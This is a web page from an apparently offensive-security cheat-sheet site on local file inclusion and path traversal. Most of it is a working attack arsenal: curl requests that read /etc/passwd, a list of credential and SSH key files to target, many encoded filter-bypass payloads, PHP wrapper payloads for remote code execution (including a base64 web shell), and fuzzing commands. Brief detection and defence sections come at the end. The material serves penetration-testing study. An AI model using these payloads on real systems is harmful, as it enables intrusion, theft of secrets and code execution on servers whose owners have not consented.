the_open_door
coffee
ESEN
← Back to index

Local File Inclusion (LFI) & Path Traversal

ATT&CKT1190
Full command arsenal in the cheatsheet

Path traversal (or directory traversal) is a vulnerability where an application builds a file path from user input without sanitising it. If the attacker injects ../ sequences (go up one directory), they can escape the intended directory and read files anywhere on the system. When the outcome is including a local file in the response (typical of PHP include/require), it is called LFI (Local File Inclusion), and there the read can escalate to code execution. There is no single payload: every app filters, prefixes or appends extensions differently, so LFI is mostly a game of trying variants until one gets through the sanitisation.

Reading files

A legitimate request asks for a resource inside the web folder, but prepending enough ../ walks up to the disk root and from there to a known absolute path. Repeat the pattern generously (each extra ../ stays at the root without erroring) and use --path-as-is so curl does not collapse the ../ before sending them:

curl 'http://<ip>/index.php?page=../../../../../../etc/passwd' --path-as-is
curl 'http://<ip>/index.php?page=/etc/passwd' --path-as-is            # absolute path, no traversal
curl 'http://<ip>/index.php?page=....//....//....//etc/passwd' --path-as-is

If the app prefixes a directory (e.g. includes pages/<param>), the traversal must start from that prefix: pages/../../../../etc/passwd. If it appends an extension (<param>.php), you must cut it off (see null byte, truncation and wrappers below).

Target files: Linux and Windows

Half the job is knowing what to ask for. Linux is not Windows, and it pays to go for files that the web service user (www-data, apache, IIS AppPool) can almost always read before reaching for /etc/shadow (root only).

Linux, almost always readable and useful:

/etc/passwd                     # users and home paths (basis for SSH keys)
/etc/hosts  /etc/os-release     # internal network and OS version
/proc/self/environ              # web process environment variables (sometimes secrets)
/proc/self/cmdline              # process launch line
/proc/self/fd/0  /proc/self/fd/8  # open descriptors (sometimes logs)
/proc/net/tcp  /proc/net/fib_trie # internal ports and addresses
/home/<user>/.ssh/id_rsa        # private key -> direct SSH access
/home/<user>/.bash_history      # commands and sometimes credentials
/var/www/html/config.php        # app config (try wp-config.php, .env, database.yml)
/etc/apache2/sites-enabled/000-default.conf  # paths, vhosts, real docroot
/etc/shadow                     # only if the service runs as root

Windows, common targets:

C:\Windows\System32\drivers\etc\hosts        # equivalent of /etc/hosts
C:\Windows\win.ini                            # always present, good LFI test
C:\inetpub\wwwroot\web.config                 # connection strings, IIS secrets
C:\Windows\System32\inetsrv\config\applicationHost.config  # global IIS config
C:\Windows\Panther\Unattend.xml               # (and Unattended.xml/sysprep.xml) deployment creds
C:\xampp\apache\conf\httpd.conf   C:\xampp\php\php.ini       # XAMPP stack
C:\Users\<user>\.ssh\id_rsa                   # user SSH key
C:\Windows\System32\config\RegBack\SAM        # SAM backup (sometimes readable)

On Windows many servers accept both / and \; if one fails, try the other separator.

Getting past filters: bypass arsenal

When there is sanitisation, you try variants until one gets through. From simplest to most aggressive:

# 1) Filter that strips "../" ONCE (non-recursive): removing it leaves "../"
....//....//....//etc/passwd
..././..././..././etc/passwd
....\/....\/etc/passwd

# 2) URL encoding (once) of "../"
%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/etc/passwd

# 3) Double encoding (WAF decodes once, app decodes again)
%252e%252e%252f%252e%252e%252fetc%252fpasswd

# 4) Invalid / overlong UTF-8 (classic on IIS and some filters)
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
..%c1%9c..%c1%9cwindows\win.ini             # %c1%9c = "\" for Windows

# 5) Null byte: cuts the extension the app appends (PHP < 5.3.4)
../../../../etc/passwd%00
../../../../etc/passwd%00.php

# 6) Length truncation: pad past the limit and drop ".php" (old PHP)
../../../etc/passwd/./././././././[...x2000]
../../../etc/passwd..............[...]

# 7) Forced prefix: if the app requires it to start with a known directory
uploads/../../../../etc/passwd

If the app validates that the name ends in .php (or similar), the php://filter (next section) often bypasses it because it needs no extension. A file:///etc/passwd or, on Windows, a UNC path \\<lhost>\share\file are alternatives when ../ is fully blocked.

PHP wrappers: read the code and execute

When the inclusion goes through PHP, wrappers widen the attack. php://filter returns the source code in base64 (useful to find credentials or more flaws), and data:///php://input allow direct RCE if allow_url_include is on:

# read a .php source (not executed, encoded)
curl 'http://<ip>/index.php?page=php://filter/convert.base64-encode/resource=config'
# RCE with data:// (requires allow_url_include=On)
curl 'http://<ip>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=id'
# RCE with php://input (POST the PHP code in the body)
curl 'http://<ip>/index.php?page=php://input' --data '<?php system("id"); ?>'

Even without allow_url_include, an iconv filter chain generates a payload that produces arbitrary PHP code using only php://filter, turning any PHP LFI into RCE:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# returns a very long php://filter/... to paste into the vulnerable parameter

Other read/exec wrappers have their own page: php://filter, zip://, phar:// and expect:// (RCE if loaded).

LFI to RCE by poisoning

If there are no wrappers, you include a file on the server itself where you have injected PHP:

Automation

ffuf -u 'http://<ip>/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
# classic Windows/Linux path list
ffuf -u 'http://<ip>/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 0

How to detect it. The signature is in the parameter itself: ../ sequences (or encoded: %2e%2e%2f, ..%2f, %252e, %c0%ae), known absolute paths (/etc/passwd, \windows\win.ini, web.config) and php:///data:///expect:// schemes in the query string or body, visible in the access log and flagged by any WAF. A single client trying dozens of depth variants (../ repeated n times) or encodings gives away the payload sweep. On the host side, LFI-to-RCE shows up as the web process (www-data) reading /var/log/..., /proc/self/environ or session files, or spawning sh/id as a child of the server. The key: requests that leave the expected web tree.

Defence. Do not build paths or includes from user input; if unavoidable, canonicalise (realpath) and check the result stays inside the allowed directory (not filters that strip ../ only once), use a page allow-list, disable allow_url_include/allow_url_fopen and run the service with least privilege. It chains with log poisoning, the zip/phar wrapper and credential reuse of the secrets you read.

Toolscurl

Machines where it's used